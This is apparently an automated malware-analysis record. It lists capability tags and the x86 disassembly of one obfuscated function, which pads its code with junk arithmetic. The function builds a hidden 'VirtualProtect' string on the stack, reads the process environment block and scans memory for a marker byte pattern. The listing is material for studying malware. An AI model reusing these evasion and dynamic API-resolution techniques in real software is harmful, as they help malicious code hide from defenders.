Function at 0x5558e0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 7
jge 0x5558ef
push eax
and eax, 0x15963
call 0x5531b9
add byte [eax], bh
inc esi
dec ecx
dec ecx
inc esp
xor al, 0x3e
xor eax, 0xc4835034
add al, 0x81
call fcn.00559c6c
call 0x5531d0
add byte [esi + edi], bh
cmp dword [ebp + 0x37], eax
xor dh, byte [esi + esi]
add esp, 4
pop eax
mov byte [ebp - 0x1c8], 0xde
mov byte [ebp - 0x1c7], 0xde
mov byte [ebp - 0x1c6], 0xee
mov byte [ebp - 0x1c5], 0xee
mov byte [ebp - 0x1c4], 0xde
mov byte [ebp - 0x1c3], 0xde
mov byte [ebp - 0x1c2], 0xee
mov byte [ebp - 0x1c1], 0xee
mov byte [ebp - 0x1c0], 0xcc
mov byte [ebp - 0x1bf], 0xcc
mov byte [ebp - 0x1be], 0
push ecx
or ecx, 0x256d
sub ecx, 0x9735
sub ecx, 0x150ac
or ecx, 0x28d9
pop ecx
push edi
push ebx
add esp, 4
add edi, 0x16115
xor edi, 0xbf3b
cmp edi, dword [edi - 0x187f0000]
xchg ecx, eax
dec eax
add dword [eax], eax
pop edi
mov eax, 1
imul ecx, eax, 0
mov dl, byte [ebp - 1]
mov byte [ebp + ecx - 0x1be], dl
push ecx
push edx
add esp, 4
sub ecx, 0x10a29
pop ecx
push edx
or edx, 0x1768b
or edx, 0x1773d
xor edx, 0x1149d
pop edx
push ecx
push edx
add esp, 4
jmp 0x553290
and ecx, 0xa10b
pop ecx
mov dword [ebp - 0x4b8], 0xb
mov byte [ebp - 0x1a4], 0x8b
mov byte [ebp - 0x1a3], 0xe5
mov byte [ebp - 0x1a2], 0x5d
mov byte [ebp - 0x1a1], 0xc3
push edi
push esi
add esp, 4
add edi, 0x92bc
call 0x5532d8
add byte [esi + eax*2], dh
xor ecx, dword [edx + 0x49]
xor eax, 0x383a4043
add esp, 4
call 0x5532eb
add byte [0x413d4e45], bh
inc esp
inc eax
xor cl, byte [edx - 0x7d]
les eax, [edi + ebx*2]
mov dword [ebp - 0x4b4], 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x328], 0
fdivr st(4)
invalid
inc dword [eax]
add byte [eax], al
add bh, al
test esp, ebp
std
invalid
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
push ebx
push edi
add esp, 4
xor ebx, 0x403d
xor ebx, 0xd2b4
or ebx, 0x6d5b
jmp 0x55334b
pop ebx
push esi
xor esi, 0x12e87
jmp 0x55335a
or esi, 0xb73
pop esi
mov ecx, dword [ebp - 0x214]
add ecx, dword [ebp - 0x218]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x22c]
jb 0x5533b2
push edx
sub edx, 0x2e39
call 0x55338f
add byte [ebx + 0x45], al
xor al, 0x39
inc ecx
dec edi
add esp, 4
add edx, 0xc84a
or edx, 0x153b5
pop edx
push edx
or edx, 0xbc74
jmp 0x5533ac
pop edx
jmp 0x553a69
mov dword [ebp - 0x21c], 0xb
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x1c8]
mov dword [ebp - 0x2d4], edx
push ecx
or ecx, 0xd5fc
or ecx, 0x271d
call 0x5533eb
add byte [ebp + 0x4f], al
xor bh, byte [ecx]
dec edi
push eax
add esp, 4
pop ecx
push ebx
sub ebx, 0x179d8
xor ebx, 0x532c
add ebx, 0xd864
pop ebx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1ac], eax
push ecx
push edx
add esp, 4
jmp 0x553417
or ecx, 0x1754a
xor ecx, 0x12ce6
pop ecx
push ecx
jmp 0x55342b
add ecx, 0x13256
sub ecx, 0x9289
sub ecx, 0x682
pop ecx
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 0x220], 0
push esi
push eax
add esp, 4
xor esi, 0x14a29
add esi, 0x113b6
pop esi
push eax
sub eax, 0xc8db
sub eax, 0x1286d
and eax, 0x11c3c
pop eax
push ecx
push eax
add esp, 4
add ecx, 0x17c9d
pop ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x2d4]
jne 0x5534d4
push edi
push eax
add esp, 4
and edi, 0x91ff
call 0x5534ac
add byte [0x374d3f39], dh
inc edx
cmp byte [edi], dh
xor edi, dword [ebx]
add esp, 4
call 0x5534bf
add byte [edx + 0x3a], al
xor eax, 0x374f4a43
inc esp
dec ecx
inc ebx
add esp, 4
pop edi
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], eax
jmp 0x55366c
cmp dword [ebp - 0x21c], 0
jle 0x55362e
push ebx
or ebx, 0x1d65
pop ebx
push esi
push esi
add esp, 4
and esi, 0x3510
pop esi
push esi
push ebx
add esp, 4
or esi, 0x16955
or esi, 0xcc61
or esi, 0xadce
and esi, 0x15ea6
pop esi
mov ecx, dword [ebp - 0x1ac]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1a8]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x553598
push edi
push ebx
add esp, 4
or edi, 0x15f38
or edi, 0xc8f4
or edi, 0x1690c
pop edi
push ebx
or ebx, 0x1550e
and ebx, 0x101ca
sub ebx, 0xb0f
and ebx, 0x175b
pop ebx
mov edx, dword [ebp - 0x1ac]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1a8]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x55357d
mov dword [ebp - 0x2d8], 1
jmp 0x553587
mov dword [ebp - 0x2d8], 0xffffffff
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x220], eax
jmp 0x55362e
push eax
and eax, 0x334b
or eax, 0x15f54
pop eax
push esi
push edx
add esp, 4
sub esi, 0xe13
pop esi
push edx
push ecx
add esp, 4
call 0x5535c6
add byte [ecx], bh
dec edi
inc ebx
inc ebp
cmp byte [eax + 0x44], dl
dec ebp
aaa
add esp, 4
pop edx
mov ecx, dword [ebp - 0x21c]
sub ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x1ac]
add edx, 1
mov dword [ebp - 0x1ac], edx
push ebx
or ebx, 0xda1c
add ebx, 0x5f28
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0xb11c
pop ebx
push edi
push esi
add esp, 4
and edi, 0x5768
jmp 0x553613
add edi, 0x65a4
pop edi
mov eax, dword [ebp - 0x1a8]
add eax, 1
mov dword [ebp - 0x1a8], eax
jmp 0x5534d4
push edx
xor edx, 0x1454a
call 0x553643
add byte [ebp + 0x43], cl
cmp al, 0x4e
xor ecx, dword [eax + 0x4e]
cmp dword [ebx - 0x157efb3c], eax
mov edx, 0xe80000d9
or eax, dword [eax]
add byte [eax], al
add byte [ebx], bh
dec ebp
inc eax
cmp al, 0x44
xor cl, byte [edi + 0x4a]
cmp al, byte [eax - 0x7d]
les eax, [edx + ebx*2]
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], ecx
cmp dword [ebp - 0x2dc], 0
jne 0x553a64
push eax
push edi
add esp, 4
or eax, 0x7f99
xor eax, 0xac37
and eax, 0x8da0
pop eax
push ebx
jmp 0x553698
add ebx, 0x17084
and ebx, 0x144cb
xor ebx, 0x421
pop ebx
mov edx, dword [ebp - 0x34]
add edx, 0xb
mov dword [ebp - 0x34], edx
push esi
xor esi, 0xf2af
add esi, 0xb59a
pop esi
push ecx
add ecx, 0xb1bf
jmp 0x5536cf
and ecx, 0x5156
pop ecx
push edx
jmp 0x5536e0
jmp 0x5536e5
pop edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x224], 4
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0x1a4]
mov dword [ebp - 0x2e0], eax
push ecx
and ecx, 0x1455d
xor ecx, 0x4c4e
sub ecx, 0x73c8
pop ecx
push edi
and edi, 0x17532
xor edi, 0xe742
call 0x55373c
add byte [esi], bh
dec edx
inc eax
dec esp
inc esp
inc edx
xor eax, dword [ebx - 0x74a0fb3c]
dec ebp
int3
jmp 0x553320
mov edx, dword [ebp - 0xcc]
cmp edx, dword [ebp - 0x22c]
je 0x5558ea
push edx
push edx
add esp, 4
add edx, 0xeec8
or edx, 0xcf94
sub edx, 0x15c7b
jmp 0x553a98
pop edx
push esi
push edx
add esp, 4
sub esi, 0x11d69
pop esi
push eax
sub eax, 0x11895
pop eax
mov byte [ebp - 0x184], 0x56
mov byte [ebp - 0x183], 0x69
mov byte [ebp - 0x182], 0x72
mov byte [ebp - 0x181], 0x74
mov byte [ebp - 0x180], 0x75
mov byte [ebp - 0x17f], 0x61
mov byte [ebp - 0x17e], 0x6c
mov byte [ebp - 0x17d], 0x50
mov byte [ebp - 0x17c], 0x72
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17a], 0x74
mov byte [ebp - 0x179], 0x65
mov byte [ebp - 0x178], 0x63
mov byte [ebp - 0x177], 0x74
mov byte [ebp - 0x176], 0
mov dword [ebp - 0x47c], 0
push ebx
push ebx
add esp, 4
add ebx, 0x16ad2
call 0x553b37
add byte [0x454d3845], dh
dec ebp
add esp, 4
or ebx, 0x9359
pop ebx
push edx
add edx, 0x1860e
jmp 0x553b51
pop edx
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1bc], eax
push edx
push ecx
add esp, 4
sub edx, 0x7171
pop edx
push esi
push ecx
add esp, 4
sub esi, 0x9652
pop esi
push edx
sub edx, 0x9831
add edx, 0x329c
or edx, 0x14fb4
add edx, 0x17571
pop edx
push eax
push edi
add esp, 4
add eax, 0xd591
pop eax
push ecx
or ecx, 0xd5d8
xor ecx, 0xf188
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0x10d84
add eax, 0x8fb6
and eax, 0x183cc
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x3f4], ecx
push esi
push eax
add esp, 4
jmp 0x553bdc
xor esi, 0x19d3
or esi, 0x8c0e
pop esi
push eax
jmp 0x553bf2
xor eax, 0x8f5c
pop eax
push esi
and esi, 0x167c8
pop esi
mov edx, dword [ebp - 0x3f4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x3f8], eax
push esi
push eax
add esp, 4
call 0x553c24
add byte [esi], bh
inc esp
aas
aas
cmp al, 0x3c
dec eax
xor al, byte [ebx - 0x317efb3c]
iretd
dec ebp
inc esi
dec eax
inc ebx
xor dh, byte [ebx]
add esp, 4
pop edx
jmp 0x55318c